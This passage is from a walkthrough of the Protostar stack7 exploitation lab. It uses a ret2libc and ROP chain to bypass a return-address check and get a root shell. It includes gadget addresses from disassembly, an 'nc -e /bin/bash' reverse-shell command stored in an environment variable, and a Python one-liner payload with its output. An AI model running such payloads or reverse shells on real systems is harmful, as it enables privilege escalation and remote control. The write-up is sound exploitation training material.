27  stack7/stack7.c: No such file or directory.
    in stack7/stack7.c
(gdb) print setuid
$1 = {<text variable, no debug info>} 0xb7f2ec80 <__setuid>
(gdb) print system
$2 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>

Now we need to find the addresses of our ROP gadgets, the first being just a ret instruction and the second being a pop [register], ret sequence to remove the argument to setuid before running system, although these gadgets will be 1 byte away from each other:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
user@protostar:/opt/protostar/bin$ objdump -d ./stack7 -M intel

./stack7:     file format elf32-i386


Disassembly of section .init:

08048354 <_init>:
 8048354:   55                      push   ebp
 8048355:   89 e5                   mov    ebp,esp
 8048357:   53                      push   ebx
 8048358:   83 ec 04                sub    esp,0x4
 804835b:   e8 00 00 00 00          call   8048360 <_init+0xc>
 8048360:   5b                      pop    ebx
 8048361:   81 c3 dc 13 00 00       add    ebx,0x13dc
 8048367:   8b 93 fc ff ff ff       mov    edx,DWORD PTR [ebx-0x4]
 804836d:   85 d2                   test   edx,edx
 804836f:   74 05                   je     8048376 <_init+0x22>
 8048371:   e8 1e 00 00 00          call   8048394 <__gmon_start__@plt>
 8048376:   e8 25 01 00 00          call   80484a0 <frame_dummy>
 804837b:   e8 50 02 00 00          call   80485d0 <__do_global_ctors_aux>
 8048380:   58                      pop    eax
 8048381:   5b                      pop    ebx
 8048382:   c9                      leave  
 8048383:   c3                      ret    

Disassembly of section .plt:

08048384 <__gmon_start__@plt-0x10>:
 8048384:   ff 35 40 97 04 08       push   DWORD PTR ds:0x8049740
 804838a:   ff 25 44 97 04 08       jmp    DWORD PTR ds:0x8049744
 8048390:   00 00                   add    BYTE PTR [eax],al
    ...

08048394 <__gmon_start__@plt>:
 8048394:   ff 25 48 97 04 08       jmp    DWORD PTR ds:0x8049748
 804839a:   68 00 00 00 00          push   0x0
 804839f:   e9 e0 ff ff ff          jmp    8048384 <_init+0x30>

080483a4 <gets@plt>:
 80483a4:   ff 25 4c 97 04 08       jmp    DWORD PTR ds:0x804974c
 80483aa:   68 08 00 00 00          push   0x8
 80483af:   e9 d0 ff ff ff          jmp    8048384 <_init+0x30>

080483b4 <__libc_start_main@plt>:
 80483b4:   ff 25 50 97 04 08       jmp    DWORD PTR ds:0x8049750
 80483ba:   68 10 00 00 00          push   0x10
 80483bf:   e9 c0 ff ff ff          jmp    8048384 <_init+0x30>

080483c4 <_exit@plt>:
 80483c4:   ff 25 54 97 04 08       jmp    DWORD PTR ds:0x8049754
 80483ca:   68 18 00 00 00          push   0x18
 80483cf:   e9 b0 ff ff ff          jmp    8048384 <_init+0x30>

080483d4 <fflush@plt>:
 80483d4:   ff 25 58 97 04 08       jmp    DWORD PTR ds:0x8049758
 80483da:   68 20 00 00 00          push   0x20
 80483df:   e9 a0 ff ff ff          jmp    8048384 <_init+0x30>

080483e4 <printf@plt>:
 80483e4:   ff 25 5c 97 04 08       jmp    DWORD PTR ds:0x804975c
 80483ea:   68 28 00 00 00          push   0x28
 80483ef:   e9 90 ff ff ff          jmp    8048384 <_init+0x30>

080483f4 <strdup@plt>:
 80483f4:   ff 25 60 97 04 08       jmp    DWORD PTR ds:0x8049760
 80483fa:   68 30 00 00 00          push   0x30
 80483ff:   e9 80 ff ff ff          jmp    8048384 <_init+0x30>

Disassembly of section .text:

08048410 <_start>:
 8048410:   31 ed                   xor    ebp,ebp
 8048412:   5e                      pop    esi
 8048413:   89 e1                   mov    ecx,esp
 8048415:   83 e4 f0                and    esp,0xfffffff0
 8048418:   50                      push   eax
 8048419:   54                      push   esp
 804841a:   52                      push   edx
 804841b:   68 60 85 04 08          push   0x8048560
 8048420:   68 70 85 04 08          push   0x8048570
 8048425:   51                      push   ecx
 8048426:   56                      push   esi
 8048427:   68 45 85 04 08          push   0x8048545
 804842c:   e8 83 ff ff ff          call   80483b4 <__libc_start_main@plt>
 8048431:   f4                      hlt    
 8048432:   90                      nop
 8048433:   90                      nop
 8048434:   90                      nop
 8048435:   90                      nop
 8048436:   90                      nop
 8048437:   90                      nop
 8048438:   90                      nop
 8048439:   90                      nop
 804843a:   90                      nop
 804843b:   90                      nop
 804843c:   90                      nop
 804843d:   90                      nop
 804843e:   90                      nop
 804843f:   90                      nop

08048440 <__do_global_dtors_aux>:
 8048440:   55                      push   ebp
 8048441:   89 e5                   mov    ebp,esp
 8048443:   53                      push   ebx
 8048444:   83 ec 04                sub    esp,0x4
 8048447:   80 3d 84 97 04 08 00    cmp    BYTE PTR ds:0x8049784,0x0
 804844e:   75 3f                   jne    804848f <__do_global_dtors_aux+0x4f>
 8048450:   a1 88 97 04 08          mov    eax,ds:0x8049788
 8048455:   bb 60 96 04 08          mov    ebx,0x8049660
 804845a:   81 eb 5c 96 04 08       sub    ebx,0x804965c
 8048460:   c1 fb 02                sar    ebx,0x2
 8048463:   83 eb 01                sub    ebx,0x1
 8048466:   39 d8                   cmp    eax,ebx
 8048468:   73 1e                   jae    8048488 <__do_global_dtors_aux+0x48>
 804846a:   8d b6 00 00 00 00       lea    esi,[esi+0x0]
 8048470:   83 c0 01                add    eax,0x1
 8048473:   a3 88 97 04 08          mov    ds:0x8049788,eax
 8048478:   ff 14 85 5c 96 04 08    call   DWORD PTR [eax*4+0x804965c]
 804847f:   a1 88 97 04 08          mov    eax,ds:0x8049788
 8048484:   39 d8                   cmp    eax,ebx
 8048486:   72 e8                   jb     8048470 <__do_global_dtors_aux+0x30>
 8048488:   c6 05 84 97 04 08 01    mov    BYTE PTR ds:0x8049784,0x1
 804848f:   83 c4 04                add    esp,0x4
 8048492:   5b                      pop    ebx
 8048493:   5d                      pop    ebp
 8048494:   c3                      ret    
 8048495:   8d 74 26 00             lea    esi,[esi+eiz*1+0x0]
 8048499:   8d bc 27 00 00 00 00    lea    edi,[edi+eiz*1+0x0]

080484a0 <frame_dummy>:
 80484a0:   55                      push   ebp
 80484a1:   89 e5                   mov    ebp,esp
 80484a3:   83 ec 18                sub    esp,0x18
 80484a6:   a1 64 96 04 08          mov    eax,ds:0x8049664
 80484ab:   85 c0                   test   eax,eax
 80484ad:   74 12                   je     80484c1 <frame_dummy+0x21>
 80484af:   b8 00 00 00 00          mov    eax,0x0
 80484b4:   85 c0                   test   eax,eax
 80484b6:   74 09                   je     80484c1 <frame_dummy+0x21>
 80484b8:   c7 04 24 64 96 04 08    mov    DWORD PTR [esp],0x8049664
 80484bf:   ff d0                   call   eax
 80484c1:   c9                      leave  
 80484c2:   c3                      ret    
 80484c3:   90                      nop

080484c4 <getpath>:
 80484c4:   55                      push   ebp
 80484c5:   89 e5                   mov    ebp,esp
 80484c7:   83 ec 68                sub    esp,0x68
 80484ca:   b8 20 86 04 08          mov    eax,0x8048620
 80484cf:   89 04 24                mov    DWORD PTR [esp],eax
 80484d2:   e8 0d ff ff ff          call   80483e4 <printf@plt>
 80484d7:   a1 80 97 04 08          mov    eax,ds:0x8049780
 80484dc:   89 04 24                mov    DWORD PTR [esp],eax
 80484df:   e8 f0 fe ff ff          call   80483d4 <fflush@plt>
 80484e4:   8d 45 b4                lea    eax,[ebp-0x4c]
 80484e7:   89 04 24                mov    DWORD PTR [esp],eax
 80484ea:   e8 b5 fe ff ff          call   80483a4 <gets@plt>
 80484ef:   8b 45 04                mov    eax,DWORD PTR [ebp+0x4]
 80484f2:   89 45 f4                mov    DWORD PTR [ebp-0xc],eax
 80484f5:   8b 45 f4                mov    eax,DWORD PTR [ebp-0xc]
 80484f8:   25 00 00 00 b0          and    eax,0xb0000000
 80484fd:   3d 00 00 00 b0          cmp    eax,0xb0000000
 8048502:   75 20                   jne    8048524 <getpath+0x60>
 8048504:   b8 34 86 04 08          mov    eax,0x8048634
 8048509:   8b 55 f4                mov    edx,DWORD PTR [ebp-0xc]
 804850c:   89 54 24 04             mov    DWORD PTR [esp+0x4],edx
 8048510:   89 04 24                mov    DWORD PTR [esp],eax
 8048513:   e8 cc fe ff ff          call   80483e4 <printf@plt>
 8048518:   c7 04 24 01 00 00 00    mov    DWORD PTR [esp],0x1
 804851f:   e8 a0 fe ff ff          call   80483c4 <_exit@plt>
 8048524:   b8 40 86 04 08          mov    eax,0x8048640
 8048529:   8d 55 b4                lea    edx,[ebp-0x4c]
 804852c:   89 54 24 04             mov    DWORD PTR [esp+0x4],edx
 8048530:   89 04 24                mov    DWORD PTR [esp],eax
 8048533:   e8 ac fe ff ff          call   80483e4 <printf@plt>
 8048538:   8d 45 b4                lea    eax,[ebp-0x4c]
 804853b:   89 04 24                mov    DWORD PTR [esp],eax
 804853e:   e8 b1 fe ff ff          call   80483f4 <strdup@plt>
 8048543:   c9                      leave  
 8048544:   c3                      ret    

08048545 <main>:
 8048545:   55                      push   ebp
 8048546:   89 e5                   mov    ebp,esp
 8048548:   83 e4 f0                and    esp,0xfffffff0
 804854b:   e8 74 ff ff ff          call   80484c4 <getpath>
 8048550:   89 ec                   mov    esp,ebp
 8048552:   5d                      pop    ebp
 8048553:   c3                      ret    
 8048554:   90                      nop
 8048555:   90                      nop
 8048556:   90                      nop
 8048557:   90                      nop
 8048558:   90                      nop
 8048559:   90                      nop
 804855a:   90                      nop
 804855b:   90                      nop
 804855c:   90                      nop
 804855d:   90                      nop
 804855e:   90                      nop
 804855f:   90                      nop

08048560 <__libc_csu_fini>:
 8048560:   55                      push   ebp
 8048561:   89 e5                   mov    ebp,esp
 8048563:   5d                      pop    ebp
 8048564:   c3                      ret    
 8048565:   8d 74 26 00             lea    esi,[esi+eiz*1+0x0]
 8048569:   8d bc 27 00 00 00 00    lea    edi,[edi+eiz*1+0x0]

08048570 <__libc_csu_init>:
 8048570:   55                      push   ebp
 8048571:   89 e5                   mov    ebp,esp
 8048573:   57                      push   edi
 8048574:   56                      push   esi
 8048575:   53                      push   ebx
 8048576:   e8 4f 00 00 00          call   80485ca <__i686.get_pc_thunk.bx>
 804857b:   81 c3 c1 11 00 00       add    ebx,0x11c1
 8048581:   83 ec 1c                sub    esp,0x1c
 8048584:   e8 cb fd ff ff          call   8048354 <_init>
 8048589:   8d bb 18 ff ff ff       lea    edi,[ebx-0xe8]
 804858f:   8d 83 18 ff ff ff       lea    eax,[ebx-0xe8]
 8048595:   29 c7                   sub    edi,eax
 8048597:   c1 ff 02                sar    edi,0x2
 804859a:   85 ff                   test   edi,edi
 804859c:   74 24                   je     80485c2 <__libc_csu_init+0x52>
 804859e:   31 f6                   xor    esi,esi
 80485a0:   8b 45 10                mov    eax,DWORD PTR [ebp+0x10]
 80485a3:   89 44 24 08             mov    DWORD PTR [esp+0x8],eax
 80485a7:   8b 45 0c                mov    eax,DWORD PTR [ebp+0xc]
 80485aa:   89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 80485ae:   8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 80485b1:   89 04 24                mov    DWORD PTR [esp],eax
 80485b4:   ff 94 b3 18 ff ff ff    call   DWORD PTR [ebx+esi*4-0xe8]
 80485bb:   83 c6 01                add    esi,0x1
 80485be:   39 fe                   cmp    esi,edi
 80485c0:   72 de                   jb     80485a0 <__libc_csu_init+0x30>
 80485c2:   83 c4 1c                add    esp,0x1c
 80485c5:   5b                      pop    ebx
 80485c6:   5e                      pop    esi
 80485c7:   5f                      pop    edi
 80485c8:   5d                      pop    ebp
 80485c9:   c3                      ret    

080485ca <__i686.get_pc_thunk.bx>:
 80485ca:   8b 1c 24                mov    ebx,DWORD PTR [esp]
 80485cd:   c3                      ret    
 80485ce:   90                      nop
 80485cf:   90                      nop

080485d0 <__do_global_ctors_aux>:
 80485d0:   55                      push   ebp
 80485d1:   89 e5                   mov    ebp,esp
 80485d3:   53                      push   ebx
 80485d4:   83 ec 04                sub    esp,0x4
 80485d7:   a1 54 96 04 08          mov    eax,ds:0x8049654
 80485dc:   83 f8 ff                cmp    eax,0xffffffff
 80485df:   74 13                   je     80485f4 <__do_global_ctors_aux+0x24>
 80485e1:   bb 54 96 04 08          mov    ebx,0x8049654
 80485e6:   66 90                   xchg   ax,ax
 80485e8:   83 eb 04                sub    ebx,0x4
 80485eb:   ff d0                   call   eax
 80485ed:   8b 03                   mov    eax,DWORD PTR [ebx]
 80485ef:   83 f8 ff                cmp    eax,0xffffffff
 80485f2:   75 f4                   jne    80485e8 <__do_global_ctors_aux+0x18>
 80485f4:   83 c4 04                add    esp,0x4
 80485f7:   5b                      pop    ebx
 80485f8:   5d                      pop    ebp
 80485f9:   c3                      ret    
 80485fa:   90                      nop
 80485fb:   90                      nop

Disassembly of section .fini:

080485fc <_fini>:
 80485fc:   55                      push   ebp
 80485fd:   89 e5                   mov    ebp,esp
 80485ff:   53                      push   ebx
 8048600:   83 ec 04                sub    esp,0x4
 8048603:   e8 00 00 00 00          call   8048608 <_fini+0xc>
 8048608:   5b                      pop    ebx
 8048609:   81 c3 34 11 00 00       add    ebx,0x1134
 804860f:   e8 2c fe ff ff          call   8048440 <__do_global_dtors_aux>
 8048614:   59                      pop    ecx
 8048615:   5b                      pop    ebx
 8048616:   c9                      leave  
 8048617:   c3                      ret

OK, so the pop, ret starts at 0x80485f8 and the ret is at 0x80485f9.

Now we just need to create the environment variable and find it in memory:

1
user@protostar:/opt/protostar/bin$ export NCCMD="nc -e /bin/bash 127.0.0.1 9000"

To find out where it will be in memory I'm going to use the same C application that I've used before, which uses getenv to work it out:

1
2
3
4
5
user@protostar:/opt/protostar/bin$ gcc -o /tmp/env /tmp/env.c
user@protostar:/opt/protostar/bin$ /tmp/env
Usage: /tmp/env <environment variable> <target program name>
user@protostar:/opt/protostar/bin$ /tmp/env NCCMD ./stack7
NCCMD will be at 0xbfffff6e

We know that the distance from the start of the payload to overwriting the return address will be the same as before because the application is identical in that sense.

Now we have all of the information to exploit it:

1
user@protostar:~$ nc -l -p 9000
1
2
user@protostar:/opt/protostar/bin$ python -c 'print "A"*80 + "\xf9\x85\x04\x08" + "\x80\xec\xf2\xb7" + "\xf8\x85\x04\x08" + "\x00\x00\x00\x00" + "\xb0\xff\xec\xb7" + "JUNK" + "\x6e\xff\xff\xbf"' | ./stack7
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��AAAAAAAAAAAA��������
1
2
3
4
pwd
/opt/protostar/bin
whoami
root

PWNED! :-)

Conclusion

There are normally a number of ways to exploit a single vulnerablity so while you are learning it is best to try to exploit it in as many ways as possible because some might work in some situations while others might not.

Ret2Libc is very powerful and beats NX completely but ROP is even more powerful and providing there are enough different ROP gadgets, you can create the whole shellcode using nothing but ROP gadgets but this requires the application to be quite big.

Further Reading

For more indepth information about Ret2Libc see this article on phrack.

Read Hacking: The Art Of Exploitation by Jon Erickson for more information about all of the attacks I've discussed so far and more.